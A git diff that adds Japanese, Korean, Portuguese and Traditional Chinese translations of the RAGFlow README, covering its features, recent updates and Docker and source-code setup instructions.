+4. HuggingFace にアクセスできない場合は、`HF_ENDPOINT` 環境変数を設定してミラーサイトを使用してください:
+
+ ```bash
+ export HF_ENDPOINT=https://hf-mirror.com
+ ```
+
+5. オペレーティングシステムにjemallocがない場合は、次のようにインストールします:
+
+ ```bash
+ # ubuntu
+ sudo apt-get install libjemalloc-dev
+ # centos
+ sudo yum install jemalloc
+ # mac
+ sudo brew install jemalloc
+ ```
+
+6. バックエンドサービスを起動する:
+
+ ```bash
+ source .venv/bin/activate
+ export PYTHONPATH=$(pwd)
+ bash docker/launch_backend_service.sh
+ ```
+
+7. フロントエンドの依存関係をインストールする:
+
+ ```bash
+ cd web
+ npm install
+ ```
+
+8. フロントエンドサービスを起動する:
+
+ ```bash
+ npm run dev
+ ```
+
+ _以下の画面で、システムが正常に起動したことを示します:_
+
+ 
+
+9. 開発が完了したら、RAGFlow のフロントエンド サービスとバックエンド サービスを停止します:
+
+ ```bash
+ pkill -f "ragflow_server.py|task_executor.py"
+ ```
+
+
+## 📚 ドキュメンテーション
+
+- [Quickstart](https://ragflow.io/docs/dev/)
+- [Configuration](https://ragflow.io/docs/dev/configurations)
+- [Release notes](https://ragflow.io/docs/dev/release_notes)
+- [User guides](https://ragflow.io/docs/dev/category/guides)
+- [Developer guides](https://ragflow.io/docs/dev/category/developers)
+- [References](https://ragflow.io/docs/dev/category/references)
+- [FAQs](https://ragflow.io/docs/dev/faq)
+
+## 📜 ロードマップ
+
+[RAGFlow ロードマップ 2025](https://github.com/infiniflow/ragflow/issues/4214) を参照
+
+## 🏄 コミュニティ
+
+- [Discord](https://discord.gg/NjYzJD3GM3)
+- [Twitter](https://twitter.com/infiniflowai)
+- [GitHub Discussions](https://github.com/orgs/infiniflow/discussions)
+
+## 🙌 コントリビュート
+
+RAGFlow はオープンソースのコラボレーションによって発展してきました。この精神に基づき、私たちはコミュニティからの多様なコントリビュートを受け入れています。 参加を希望される方は、まず [コントリビューションガイド](https://ragflow.io/docs/dev/contributing)をご覧ください。
diff --git a/README_ko.md b/README_ko.md
new file mode 100644
index 0000000..c579162
--- /dev/null
+++ b/README_ko.md
@@ -0,0 +1,368 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+#
+
+## 💡 RAGFlow란?
+
+[RAGFlow](https://ragflow.io/) 는 최첨단 RAG(Retrieval-Augmented Generation)와 Agent 기능을 융합하여 대규모 언어 모델(LLM)을 위한 우수한 컨텍스트 계층을 생성하는 선도적인 오픈소스 RAG 엔진입니다. 모든 규모의 기업에 적용 가능한 효율적인 RAG 워크플로를 제공하며, 통합 컨텍스트 엔진과 사전 구축된 Agent 템플릿을 통해 개발자들이 복잡한 데이터를 예외적인 효율성과 정밀도로 고급 구현도의 프로덕션 준비 완료 AI 시스템으로 변환할 수 있도록 지원합니다.
+
+## 🎮 데모
+
+데모를 [https://demo.ragflow.io](https://demo.ragflow.io)에서 실행해 보세요.
+
+
+
+
+
+
+## 🔥 업데이트
+
+- 2025-08-08 OpenAI의 최신 GPT-5 시리즈 모델을 지원합니다.
+- 2025-08-04 새로운 모델인 Kimi K2와 Grok 4를 포함하여 지원합니다.
+- 2025-08-01 에이전트 워크플로우와 MCP를 지원합니다.
+- 2025-05-23 Agent에 Python/JS 코드 실행기 구성 요소를 추가합니다.
+- 2025-05-05 언어 간 쿼리를 지원합니다.
+- 2025-03-19 PDF 또는 DOCX 파일 내의 이미지를 이해하기 위해 다중 모드 모델을 사용하는 것을 지원합니다.
+- 2025-02-28 인터넷 검색(TAVILY)과 결합되어 모든 LLM에 대한 심층 연구를 지원합니다.
+- 2024-12-18 DeepDoc의 문서 레이아웃 분석 모델 업그레이드.
+- 2024-08-22 RAG를 통해 SQL 문에 텍스트를 지원합니다.
+
+## 🎉 계속 지켜봐 주세요
+
+⭐️우리의 저장소를 즐겨찾기에 등록하여 흥미로운 새로운 기능과 업데이트를 최신 상태로 유지하세요! 모든 새로운 릴리스에 대한 즉시 알림을 받으세요! 🌟
+
+
+
+
+
+## 🌟 주요 기능
+
+### 🍭 **"Quality in, quality out"**
+
+- [심층 문서 이해](./deepdoc/README.md)를 기반으로 복잡한 형식의 비정형 데이터에서 지식을 추출합니다.
+- 문자 그대로 무한한 토큰에서 "데이터 속의 바늘"을 찾아냅니다.
+
+### 🍱 **템플릿 기반의 chunking**
+
+- 똑똑하고 설명 가능한 방식.
+- 다양한 템플릿 옵션을 제공합니다.
+
+### 🌱 **할루시네이션을 줄인 신뢰할 수 있는 인용**
+
+- 텍스트 청킹을 시각화하여 사용자가 개입할 수 있도록 합니다.
+- 중요한 참고 자료와 추적 가능한 인용을 빠르게 확인하여 신뢰할 수 있는 답변을 지원합니다.
+
+### 🍔 **다른 종류의 데이터 소스와의 호환성**
+
+- 워드, 슬라이드, 엑셀, 텍스트 파일, 이미지, 스캔본, 구조화된 데이터, 웹 페이지 등을 지원합니다.
+
+### 🛀 **자동화되고 손쉬운 RAG 워크플로우**
+
+- 개인 및 대규모 비즈니스에 맞춘 효율적인 RAG 오케스트레이션.
+- 구성 가능한 LLM 및 임베딩 모델.
+- 다중 검색과 결합된 re-ranking.
+- 비즈니스와 원활하게 통합할 수 있는 직관적인 API.
+
+## 🔎 시스템 아키텍처
+
+
+
+
+
+## 🎬 시작하기
+
+### 📝 사전 준비 사항
+
+- CPU >= 4 cores
+- RAM >= 16 GB
+- Disk >= 50 GB
+- Docker >= 24.0.0 & Docker Compose >= v2.26.1
+- [gVisor](https://gvisor.dev/docs/user_guide/install/): RAGFlow의 코드 실행기(샌드박스) 기능을 사용하려는 경우에만 필요합니다.
+
+> [!TIP]
+> 로컬 머신(Windows, Mac, Linux)에 Docker가 설치되지 않은 경우, [Docker 엔진 설치](<(https://docs.docker.com/engine/install/)>)를 참조하세요.
+
+### 🚀 서버 시작하기
+
+1. `vm.max_map_count`가 262144 이상인지 확인하세요:
+
+ > `vm.max_map_count`의 값을 아래 명령어를 통해 확인하세요:
+ >
+ > ```bash
+ > $ sysctl vm.max_map_count
+ > ```
+ >
+ > 만약 `vm.max_map_count` 이 262144 보다 작다면 값을 쟈설정하세요.
+ >
+ > ```bash
+ > # 이 경우에 262144로 설정했습니다.:
+ > $ sudo sysctl -w vm.max_map_count=262144
+ > ```
+ >
+ > 이 변경 사항은 시스템 재부팅 후에 초기화됩니다. 변경 사항을 영구적으로 적용하려면 /etc/sysctl.conf 파일에 vm.max_map_count 값을 추가하거나 업데이트하세요:
+ >
+ > ```bash
+ > vm.max_map_count=262144
+ > ```
+
+2. 레포지토리를 클론하세요:
+
+ ```bash
+ $ git clone https://github.com/infiniflow/ragflow.git
+ ```
+
+3. 미리 빌드된 Docker 이미지를 생성하고 서버를 시작하세요:
+
+> [!CAUTION]
+> 모든 Docker 이미지는 x86 플랫폼을 위해 빌드되었습니다. 우리는 현재 ARM64 플랫폼을 위한 Docker 이미지를 제공하지 않습니다.
+> ARM64 플랫폼을 사용 중이라면, [시스템과 호환되는 Docker 이미지를 빌드하려면 이 가이드를 사용해 주세요](https://ragflow.io/docs/dev/build_docker_image).
+
+ > 아래 명령어는 RAGFlow Docker 이미지의 v0.20.5-slim 버전을 다운로드합니다. 다양한 RAGFlow 버전에 대한 설명은 다음 표를 참조하십시오. v0.20.5-slim과 다른 RAGFlow 버전을 다운로드하려면, docker/.env 파일에서 RAGFLOW_IMAGE 변수를 적절히 업데이트한 후 docker compose를 사용하여 서버를 시작하십시오. 예를 들어, 전체 버전인 v0.20.5을 다운로드하려면 RAGFLOW_IMAGE=infiniflow/ragflow:v0.20.5로 설정합니다.
+
+ ```bash
+ $ cd ragflow/docker
+ # Use CPU for embedding and DeepDoc tasks:
+ $ docker compose -f docker-compose.yml up -d
+
+ # To use GPU to accelerate embedding and DeepDoc tasks:
+ # docker compose -f docker-compose-gpu.yml up -d
+ ```
+
+ | RAGFlow image tag | Image size (GB) | Has embedding models? | Stable? |
+ | ----------------- | --------------- | --------------------- | ------------------------ |
+ | v0.20.5 | ≈9 | :heavy_check_mark: | Stable release |
+ | v0.20.5-slim | ≈2 | ❌ | Stable release |
+ | nightly | ≈9 | :heavy_check_mark: | _Unstable_ nightly build |
+ | nightly-slim | ≈2 | ❌ | _Unstable_ nightly build |
+
+1. 서버가 시작된 후 서버 상태를 확인하세요:
+
+ ```bash
+ $ docker logs -f ragflow-server
+ ```
+
+ _다음 출력 결과로 시스템이 성공적으로 시작되었음을 확인합니다:_
+
+ ```bash
+ ____ ___ ______ ______ __
+ / __ \ / | / ____// ____// /____ _ __
+ / /_/ // /| | / / __ / /_ / // __ \| | /| / /
+ / _, _// ___ |/ /_/ // __/ / // /_/ /| |/ |/ /
+ /_/ |_|/_/ |_|\____//_/ /_/ \____/ |__/|__/
+
+ * Running on all addresses (0.0.0.0)
+ ```
+
+ > 만약 확인 단계를 건너뛰고 바로 RAGFlow에 로그인하면, RAGFlow가 완전히 초기화되지 않았기 때문에 브라우저에서 `network anormal` 오류가 발생할 수 있습니다.
+
+2. 웹 브라우저에 서버의 IP 주소를 입력하고 RAGFlow에 로그인하세요.
+ > 기본 설정을 사용할 경우, `http://IP_OF_YOUR_MACHINE`만 입력하면 됩니다 (포트 번호는 제외). 기본 HTTP 서비스 포트 `80`은 기본 구성으로 사용할 때 생략할 수 있습니다.
+3. [service_conf.yaml.template](./docker/service_conf.yaml.template) 파일에서 원하는 LLM 팩토리를 `user_default_llm`에 선택하고, `API_KEY` 필드를 해당 API 키로 업데이트하세요.
+
+ > 자세한 내용은 [llm_api_key_setup](https://ragflow.io/docs/dev/llm_api_key_setup)를 참조하세요.
+
+ _이제 쇼가 시작됩니다!_
+
+## 🔧 설정
+
+시스템 설정과 관련하여 다음 파일들을 관리해야 합니다:
+
+- [.env](./docker/.env): `SVR_HTTP_PORT`, `MYSQL_PASSWORD`, `MINIO_PASSWORD`와 같은 시스템의 기본 설정을 포함합니다.
+- [service_conf.yaml.template](./docker/service_conf.yaml.template): 백엔드 서비스를 구성합니다.
+- [docker-compose.yml](./docker/docker-compose.yml): 시스템은 [docker-compose.yml](./docker/docker-compose.yml)을 사용하여 시작됩니다.
+
+[.env](./docker/.env) 파일의 변경 사항이 [service_conf.yaml.template](./docker/service_conf.yaml.template) 파일의 내용과 일치하도록 해야 합니다.
+
+> [./docker/README](./docker/README.md) 파일 ./docker/README은 service_conf.yaml.template 파일에서 ${ENV_VARS}로 사용할 수 있는 환경 설정과 서비스 구성에 대한 자세한 설명을 제공합니다.
+
+기본 HTTP 서비스 포트(80)를 업데이트하려면 [docker-compose.yml](./docker/docker-compose.yml) 파일에서 `80:80`을 `:80`으로 변경하세요.
+
+> 모든 시스템 구성 업데이트는 적용되기 위해 시스템 재부팅이 필요합니다.
+>
+> ```bash
+> $ docker compose -f docker-compose.yml up -d
+> ```
+
+### Elasticsearch 에서 Infinity 로 문서 엔진 전환
+
+RAGFlow 는 기본적으로 Elasticsearch 를 사용하여 전체 텍스트 및 벡터를 저장합니다. [Infinity]로 전환(https://github.com/infiniflow/infinity/), 다음 절차를 따르십시오.
+
+1. 실행 중인 모든 컨테이너를 중지합니다.
+ ```bash
+ $docker compose-f docker/docker-compose.yml down -v
+ ```
+ Note: `-v` 는 docker 컨테이너의 볼륨을 삭제하고 기존 데이터를 지우며, 이 작업은 컨테이너를 중지하는 것과 동일합니다.
+2. **docker/.env**의 "DOC_ENGINE" 을 "infinity" 로 설정합니다.
+3. 컨테이너 부팅:
+ ```bash
+ $docker compose-f docker/docker-compose.yml up -d
+ ```
+ > [!WARNING]
+ > Linux/arm64 시스템에서 Infinity로 전환하는 것은 공식적으로 지원되지 않습니다.
+
+## 🔧 소스 코드로 Docker 이미지를 컴파일합니다(임베딩 모델 포함하지 않음)
+
+이 Docker 이미지의 크기는 약 1GB이며, 외부 대형 모델과 임베딩 서비스에 의존합니다.
+
+```bash
+git clone https://github.com/infiniflow/ragflow.git
+cd ragflow/
+docker build --platform linux/amd64 --build-arg LIGHTEN=1 -f Dockerfile -t infiniflow/ragflow:nightly-slim .
+```
+
+## 🔧 소스 코드로 Docker 이미지를 컴파일합니다(임베딩 모델 포함)
+
+이 Docker의 크기는 약 9GB이며, 이미 임베딩 모델을 포함하고 있으므로 외부 대형 모델 서비스에만 의존하면 됩니다.
+
+```bash
+git clone https://github.com/infiniflow/ragflow.git
+cd ragflow/
+docker build --platform linux/amd64 -f Dockerfile -t infiniflow/ragflow:nightly .
+```
+
+## 🔨 소스 코드로 서비스를 시작합니다.
+
+1. `uv` 와 `pre-commit` 을 설치하거나, 이미 설치된 경우 이 단계를 건너뜁니다:
+
+ ```bash
+ pipx install uv pre-commit
+ ```
+
+2. 소스 코드를 클론하고 Python 의존성을 설치합니다:
+
+ ```bash
+ git clone https://github.com/infiniflow/ragflow.git
+ cd ragflow/
+ uv sync --python 3.10 --all-extras # install RAGFlow dependent python modules
+ uv run download_deps.py
+ pre-commit install
+ ```
+
+3. Docker Compose를 사용하여 의존 서비스(MinIO, Elasticsearch, Redis 및 MySQL)를 시작합니다:
+
+ ```bash
+ docker compose -f docker/docker-compose-base.yml up -d
+ ```
+
+ `/etc/hosts` 에 다음 줄을 추가하여 **conf/service_conf.yaml** 에 지정된 모든 호스트를 `127.0.0.1` 로 해결합니다:
+
+ ```
+ 127.0.0.1 es01 infinity mysql minio redis sandbox-executor-manager
+ ```
+
+4. HuggingFace에 접근할 수 없는 경우, `HF_ENDPOINT` 환경 변수를 설정하여 미러 사이트를 사용하세요:
+
+ ```bash
+ export HF_ENDPOINT=https://hf-mirror.com
+ ```
+
+5. 만약 운영 체제에 jemalloc이 없으면 다음 방식으로 설치하세요:
+
+ ```bash
+ # ubuntu
+ sudo apt-get install libjemalloc-dev
+ # centos
+ sudo yum install jemalloc
+ # mac
+ sudo brew install jemalloc
+ ```
+
+6. 백엔드 서비스를 시작합니다:
+
+ ```bash
+ source .venv/bin/activate
+ export PYTHONPATH=$(pwd)
+ bash docker/launch_backend_service.sh
+ ```
+
+7. 프론트엔드 의존성을 설치합니다:
+
+ ```bash
+ cd web
+ npm install
+ ```
+
+8. 프론트엔드 서비스를 시작합니다:
+
+ ```bash
+ npm run dev
+ ```
+
+ _다음 인터페이스는 시스템이 성공적으로 시작되었음을 나타냅니다:_
+
+ 
+
+
+9. 개발이 완료된 후 RAGFlow 프론트엔드 및 백엔드 서비스를 중지합니다.
+
+ ```bash
+ pkill -f "ragflow_server.py|task_executor.py"
+ ```
+
+
+## 📚 문서
+
+- [Quickstart](https://ragflow.io/docs/dev/)
+- [Configuration](https://ragflow.io/docs/dev/configurations)
+- [Release notes](https://ragflow.io/docs/dev/release_notes)
+- [User guides](https://ragflow.io/docs/dev/category/guides)
+- [Developer guides](https://ragflow.io/docs/dev/category/developers)
+- [References](https://ragflow.io/docs/dev/category/references)
+- [FAQs](https://ragflow.io/docs/dev/faq)
+
+## 📜 로드맵
+
+[RAGFlow 로드맵 2025](https://github.com/infiniflow/ragflow/issues/4214)을 확인하세요.
+
+## 🏄 커뮤니티
+
+- [Discord](https://discord.gg/NjYzJD3GM3)
+- [Twitter](https://twitter.com/infiniflowai)
+- [GitHub Discussions](https://github.com/orgs/infiniflow/discussions)
+
+## 🙌 컨트리뷰션
+
+RAGFlow는 오픈소스 협업을 통해 발전합니다. 이러한 정신을 바탕으로, 우리는 커뮤니티의 다양한 기여를 환영합니다. 참여하고 싶으시다면, 먼저 [가이드라인](https://ragflow.io/docs/dev/contributing)을 검토해 주세요.
diff --git a/README_pt_br.md b/README_pt_br.md
new file mode 100644
index 0000000..88c48d2
--- /dev/null
+++ b/README_pt_br.md
@@ -0,0 +1,392 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+#
+
+
+📕 Índice
+
+- 💡 [O que é o RAGFlow?](#-o-que-é-o-ragflow)
+- 🎮 [Demo](#-demo)
+- 📌 [Últimas Atualizações](#-últimas-atualizações)
+- 🌟 [Principais Funcionalidades](#-principais-funcionalidades)
+- 🔎 [Arquitetura do Sistema](#-arquitetura-do-sistema)
+- 🎬 [Primeiros Passos](#-primeiros-passos)
+- 🔧 [Configurações](#-configurações)
+- 🔧 [Construir uma imagem docker sem incorporar modelos](#-construir-uma-imagem-docker-sem-incorporar-modelos)
+- 🔧 [Construir uma imagem docker incluindo modelos](#-construir-uma-imagem-docker-incluindo-modelos)
+- 🔨 [Lançar serviço a partir do código-fonte para desenvolvimento](#-lançar-serviço-a-partir-do-código-fonte-para-desenvolvimento)
+- 📚 [Documentação](#-documentação)
+- 📜 [Roadmap](#-roadmap)
+- 🏄 [Comunidade](#-comunidade)
+- 🙌 [Contribuindo](#-contribuindo)
+
+
+
+## 💡 O que é o RAGFlow?
+
+[RAGFlow](https://ragflow.io/) é um mecanismo de RAG (Retrieval-Augmented Generation) open-source líder que fusiona tecnologias RAG de ponta com funcionalidades Agent para criar uma camada contextual superior para LLMs. Oferece um fluxo de trabalho RAG otimizado adaptável a empresas de qualquer escala. Alimentado por um motor de contexto convergente e modelos Agent pré-construídos, o RAGFlow permite que desenvolvedores transformem dados complexos em sistemas de IA de alta fidelidade e pronto para produção com excepcional eficiência e precisão.
+
+## 🎮 Demo
+
+Experimente nossa demo em [https://demo.ragflow.io](https://demo.ragflow.io).
+
+
+
+
+
+
+## 🔥 Últimas Atualizações
+
+- 08-08-2025 Suporta a mais recente série GPT-5 da OpenAI.
+- 04-08-2025 Suporta novos modelos, incluindo Kimi K2 e Grok 4.
+- 01-08-2025 Suporta fluxo de trabalho agente e MCP.
+- 23-05-2025 Adicione o componente executor de código Python/JS ao Agente.
+- 05-05-2025 Suporte a consultas entre idiomas.
+- 19-03-2025 Suporta o uso de um modelo multi-modal para entender imagens dentro de arquivos PDF ou DOCX.
+- 28-02-2025 combinado com a pesquisa na Internet (T AVI LY), suporta pesquisas profundas para qualquer LLM.
+- 18-12-2024 Atualiza o modelo de Análise de Layout de Documentos no DeepDoc.
+- 22-08-2024 Suporta conversão de texto para comandos SQL via RAG.
+
+## 🎉 Fique Ligado
+
+⭐️ Dê uma estrela no nosso repositório para se manter atualizado com novas funcionalidades e melhorias empolgantes! Receba notificações instantâneas sobre novos lançamentos! 🌟
+
+
+
+
+
+## 🌟 Principais Funcionalidades
+
+### 🍭 **"Qualidade entra, qualidade sai"**
+
+- Extração de conhecimento baseada em [entendimento profundo de documentos](./deepdoc/README.md) a partir de dados não estruturados com formatos complicados.
+- Encontra a "agulha no palheiro de dados" de literalmente tokens ilimitados.
+
+### 🍱 **Fragmentação baseada em templates**
+
+- Inteligente e explicável.
+- Muitas opções de templates para escolher.
+
+### 🌱 **Citações fundamentadas com menos alucinações**
+
+- Visualização da fragmentação de texto para permitir intervenção humana.
+- Visualização rápida das referências chave e citações rastreáveis para apoiar respostas fundamentadas.
+
+### 🍔 **Compatibilidade com fontes de dados heterogêneas**
+
+- Suporta Word, apresentações, excel, txt, imagens, cópias digitalizadas, dados estruturados, páginas da web e mais.
+
+### 🛀 **Fluxo de trabalho RAG automatizado e sem esforço**
+
+- Orquestração RAG simplificada voltada tanto para negócios pessoais quanto grandes empresas.
+- Modelos LLM e de incorporação configuráveis.
+- Múltiplas recuperações emparelhadas com reclassificação fundida.
+- APIs intuitivas para integração sem problemas com os negócios.
+
+## 🔎 Arquitetura do Sistema
+
+
+
+
+
+## 🎬 Primeiros Passos
+
+### 📝 Pré-requisitos
+
+- CPU >= 4 núcleos
+- RAM >= 16 GB
+- Disco >= 50 GB
+- Docker >= 24.0.0 & Docker Compose >= v2.26.1
+- [gVisor](https://gvisor.dev/docs/user_guide/install/): Necessário apenas se você pretende usar o recurso de executor de código (sandbox) do RAGFlow.
+
+> [!TIP]
+> Se você não instalou o Docker na sua máquina local (Windows, Mac ou Linux), veja [Instalar Docker Engine](https://docs.docker.com/engine/install/).
+
+### 🚀 Iniciar o servidor
+
+1. Certifique-se de que `vm.max_map_count` >= 262144:
+
+ > Para verificar o valor de `vm.max_map_count`:
+ >
+ > ```bash
+ > $ sysctl vm.max_map_count
+ > ```
+ >
+ > Se necessário, redefina `vm.max_map_count` para um valor de pelo menos 262144:
+ >
+ > ```bash
+ > # Neste caso, defina para 262144:
+ > $ sudo sysctl -w vm.max_map_count=262144
+ > ```
+ >
+ > Essa mudança será resetada após a reinicialização do sistema. Para garantir que a alteração permaneça permanente, adicione ou atualize o valor de `vm.max_map_count` em **/etc/sysctl.conf**:
+ >
+ > ```bash
+ > vm.max_map_count=262144
+ > ```
+
+2. Clone o repositório:
+
+ ```bash
+ $ git clone https://github.com/infiniflow/ragflow.git
+ ```
+
+3. Inicie o servidor usando as imagens Docker pré-compiladas:
+
+> [!CAUTION]
+> Todas as imagens Docker são construídas para plataformas x86. Atualmente, não oferecemos imagens Docker para ARM64.
+> Se você estiver usando uma plataforma ARM64, por favor, utilize [este guia](https://ragflow.io/docs/dev/build_docker_image) para construir uma imagem Docker compatível com o seu sistema.
+
+ > O comando abaixo baixa a edição `v0.20.5-slim` da imagem Docker do RAGFlow. Consulte a tabela a seguir para descrições de diferentes edições do RAGFlow. Para baixar uma edição do RAGFlow diferente da `v0.20.5-slim`, atualize a variável `RAGFLOW_IMAGE` conforme necessário no **docker/.env** antes de usar `docker compose` para iniciar o servidor. Por exemplo: defina `RAGFLOW_IMAGE=infiniflow/ragflow:v0.20.5` para a edição completa `v0.20.5`.
+
+ ```bash
+ $ cd ragflow/docker
+ # Use CPU for embedding and DeepDoc tasks:
+ $ docker compose -f docker-compose.yml up -d
+
+ # To use GPU to accelerate embedding and DeepDoc tasks:
+ # docker compose -f docker-compose-gpu.yml up -d
+ ```
+
+ | Tag da imagem RAGFlow | Tamanho da imagem (GB) | Possui modelos de incorporação? | Estável? |
+ | --------------------- | ---------------------- | ------------------------------- | ------------------------ |
+ | v0.20.5 | ~9 | :heavy_check_mark: | Lançamento estável |
+ | v0.20.5-slim | ~2 | ❌ | Lançamento estável |
+ | nightly | ~9 | :heavy_check_mark: | _Instável_ build noturno |
+ | nightly-slim | ~2 | ❌ | _Instável_ build noturno |
+
+4. Verifique o status do servidor após tê-lo iniciado:
+
+ ```bash
+ $ docker logs -f ragflow-server
+ ```
+
+ _O seguinte resultado confirma o lançamento bem-sucedido do sistema:_
+
+ ```bash
+ ____ ___ ______ ______ __
+ / __ \ / | / ____// ____// /____ _ __
+ / /_/ // /| | / / __ / /_ / // __ \| | /| / /
+ / _, _// ___ |/ /_/ // __/ / // /_/ /| |/ |/ /
+ /_/ |_|/_/ |_|\____//_/ /_/ \____/ |__/|__/
+
+ * Rodando em todos os endereços (0.0.0.0)
+ ```
+
+ > Se você pular essa etapa de confirmação e acessar diretamente o RAGFlow, seu navegador pode exibir um erro `network anormal`, pois, nesse momento, seu RAGFlow pode não estar totalmente inicializado.
+
+5. No seu navegador, insira o endereço IP do seu servidor e faça login no RAGFlow.
+
+ > Com as configurações padrão, você só precisa digitar `http://IP_DO_SEU_MÁQUINA` (**sem** o número da porta), pois a porta HTTP padrão `80` pode ser omitida ao usar as configurações padrão.
+
+6. Em [service_conf.yaml.template](./docker/service_conf.yaml.template), selecione a fábrica LLM desejada em `user_default_llm` e atualize o campo `API_KEY` com a chave de API correspondente.
+
+ > Consulte [llm_api_key_setup](https://ragflow.io/docs/dev/llm_api_key_setup) para mais informações.
+
+_O show está no ar!_
+
+## 🔧 Configurações
+
+Quando se trata de configurações do sistema, você precisará gerenciar os seguintes arquivos:
+
+- [.env](./docker/.env): Contém as configurações fundamentais para o sistema, como `SVR_HTTP_PORT`, `MYSQL_PASSWORD` e `MINIO_PASSWORD`.
+- [service_conf.yaml.template](./docker/service_conf.yaml.template): Configura os serviços de back-end. As variáveis de ambiente neste arquivo serão automaticamente preenchidas quando o contêiner Docker for iniciado. Quaisquer variáveis de ambiente definidas dentro do contêiner Docker estarão disponíveis para uso, permitindo personalizar o comportamento do serviço com base no ambiente de implantação.
+- [docker-compose.yml](./docker/docker-compose.yml): O sistema depende do [docker-compose.yml](./docker/docker-compose.yml) para iniciar.
+
+> O arquivo [./docker/README](./docker/README.md) fornece uma descrição detalhada das configurações do ambiente e dos serviços, que podem ser usadas como `${ENV_VARS}` no arquivo [service_conf.yaml.template](./docker/service_conf.yaml.template).
+
+Para atualizar a porta HTTP de serviço padrão (80), vá até [docker-compose.yml](./docker/docker-compose.yml) e altere `80:80` para `:80`.
+
+Atualizações nas configurações acima exigem um reinício de todos os contêineres para que tenham efeito:
+
+> ```bash
+> $ docker compose -f docker-compose.yml up -d
+> ```
+
+### Mudar o mecanismo de documentos de Elasticsearch para Infinity
+
+O RAGFlow usa o Elasticsearch por padrão para armazenar texto completo e vetores. Para mudar para o [Infinity](https://github.com/infiniflow/infinity/), siga estas etapas:
+
+1. Pare todos os contêineres em execução:
+
+ ```bash
+ $ docker compose -f docker/docker-compose.yml down -v
+ ```
+ Note: `-v` irá deletar os volumes do contêiner, e os dados existentes serão apagados.
+2. Defina `DOC_ENGINE` no **docker/.env** para `infinity`.
+
+3. Inicie os contêineres:
+
+ ```bash
+ $ docker compose -f docker-compose.yml up -d
+ ```
+
+> [!ATENÇÃO]
+> A mudança para o Infinity em uma máquina Linux/arm64 ainda não é oficialmente suportada.
+
+## 🔧 Criar uma imagem Docker sem modelos de incorporação
+
+Esta imagem tem cerca de 2 GB de tamanho e depende de serviços externos de LLM e incorporação.
+
+```bash
+git clone https://github.com/infiniflow/ragflow.git
+cd ragflow/
+docker build --platform linux/amd64 --build-arg LIGHTEN=1 -f Dockerfile -t infiniflow/ragflow:nightly-slim .
+```
+
+## 🔧 Criar uma imagem Docker incluindo modelos de incorporação
+
+Esta imagem tem cerca de 9 GB de tamanho. Como inclui modelos de incorporação, depende apenas de serviços externos de LLM.
+
+```bash
+git clone https://github.com/infiniflow/ragflow.git
+cd ragflow/
+docker build --platform linux/amd64 -f Dockerfile -t infiniflow/ragflow:nightly .
+```
+
+## 🔨 Lançar o serviço a partir do código-fonte para desenvolvimento
+
+1. Instale o `uv` e o `pre-commit`, ou pule esta etapa se eles já estiverem instalados:
+
+ ```bash
+ pipx install uv pre-commit
+ ```
+
+2. Clone o código-fonte e instale as dependências Python:
+
+ ```bash
+ git clone https://github.com/infiniflow/ragflow.git
+ cd ragflow/
+ uv sync --python 3.10 --all-extras # instala os módulos Python dependentes do RAGFlow
+ uv run download_deps.py
+ pre-commit install
+ ```
+
+3. Inicie os serviços dependentes (MinIO, Elasticsearch, Redis e MySQL) usando Docker Compose:
+
+ ```bash
+ docker compose -f docker/docker-compose-base.yml up -d
+ ```
+
+ Adicione a seguinte linha ao arquivo `/etc/hosts` para resolver todos os hosts especificados em **docker/.env** para `127.0.0.1`:
+
+ ```
+ 127.0.0.1 es01 infinity mysql minio redis sandbox-executor-manager
+ ```
+
+4. Se não conseguir acessar o HuggingFace, defina a variável de ambiente `HF_ENDPOINT` para usar um site espelho:
+
+ ```bash
+ export HF_ENDPOINT=https://hf-mirror.com
+ ```
+
+5. Se o seu sistema operacional não tiver jemalloc, instale-o da seguinte maneira:
+
+ ```bash
+ # ubuntu
+ sudo apt-get install libjemalloc-dev
+ # centos
+ sudo yum instalar jemalloc
+ # mac
+ sudo brew install jemalloc
+ ```
+
+6. Lance o serviço de back-end:
+
+ ```bash
+ source .venv/bin/activate
+ export PYTHONPATH=$(pwd)
+ bash docker/launch_backend_service.sh
+ ```
+
+7. Instale as dependências do front-end:
+
+ ```bash
+ cd web
+ npm install
+ ```
+
+8. Lance o serviço de front-end:
+
+ ```bash
+ npm run dev
+ ```
+
+ _O seguinte resultado confirma o lançamento bem-sucedido do sistema:_
+
+ 
+
+9. Pare os serviços de front-end e back-end do RAGFlow após a conclusão do desenvolvimento:
+
+ ```bash
+ pkill -f "ragflow_server.py|task_executor.py"
+ ```
+
+
+## 📚 Documentação
+
+- [Quickstart](https://ragflow.io/docs/dev/)
+- [Configuration](https://ragflow.io/docs/dev/configurations)
+- [Release notes](https://ragflow.io/docs/dev/release_notes)
+- [User guides](https://ragflow.io/docs/dev/category/guides)
+- [Developer guides](https://ragflow.io/docs/dev/category/developers)
+- [References](https://ragflow.io/docs/dev/category/references)
+- [FAQs](https://ragflow.io/docs/dev/faq)
+
+## 📜 Roadmap
+
+Veja o [RAGFlow Roadmap 2025](https://github.com/infiniflow/ragflow/issues/4214)
+
+## 🏄 Comunidade
+
+- [Discord](https://discord.gg/NjYzJD3GM3)
+- [Twitter](https://twitter.com/infiniflowai)
+- [GitHub Discussions](https://github.com/orgs/infiniflow/discussions)
+
+## 🙌 Contribuindo
+
+O RAGFlow prospera por meio da colaboração de código aberto. Com esse espírito, abraçamos contribuições diversas da comunidade.
+Se você deseja fazer parte, primeiro revise nossas [Diretrizes de Contribuição](https://ragflow.io/docs/dev/contributing).
diff --git a/README_tzh.md b/README_tzh.md
new file mode 100644
index 0000000..4a95be1
--- /dev/null
+++ b/README_tzh.md
@@ -0,0 +1,417 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+#
+
+
+
+
+
+
+📕 目錄
+
+- 💡 [RAGFlow 是什麼?](#-RAGFlow-是什麼)
+- 🎮 [Demo-試用](#-demo-試用)
+- 📌 [近期更新](#-近期更新)
+- 🌟 [主要功能](#-主要功能)
+- 🔎 [系統架構](#-系統架構)
+- 🎬 [快速開始](#-快速開始)
+- 🔧 [系統配置](#-系統配置)
+- 🔨 [以原始碼啟動服務](#-以原始碼啟動服務)
+- 📚 [技術文檔](#-技術文檔)
+- 📜 [路線圖](#-路線圖)
+- 🏄 [貢獻指南](#-貢獻指南)
